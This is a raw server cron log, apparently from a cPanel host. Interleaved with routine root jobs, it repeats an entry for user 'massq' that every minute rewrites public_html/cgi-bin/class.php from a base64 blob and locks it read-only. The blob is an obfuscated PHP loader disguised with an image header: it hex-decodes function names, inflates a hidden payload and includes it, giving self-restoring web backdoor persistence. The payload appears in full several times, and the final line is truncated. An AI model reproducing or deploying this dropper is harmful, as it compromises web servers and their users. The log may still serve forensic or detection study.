Apr 10 01:22:01 server CROND[13499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:23:01 server CROND[13557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:24:01 server CROND[13625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:25:01 server CROND[13791]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:25:01 server CROND[13792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:25:01 server CROND[13793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:26:01 server CROND[13962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:27:01 server CROND[14115]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 01:27:01 server CROND[14116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:28:01 server CROND[14201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:29:01 server CROND[14260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:30:01 server CROND[14309]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 01:30:01 server CROND[14308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:30:01 server CROND[14310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:30:01 server CROND[14312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:31:01 server CROND[14414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:32:01 server CROND[14562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:33:01 server CROND[14608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:34:01 server CROND[14658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:35:01 server CROND[14707]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 01:35:01 server CROND[14708]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:35:01 server CROND[14712]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 01:35:01 server CROND[14714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b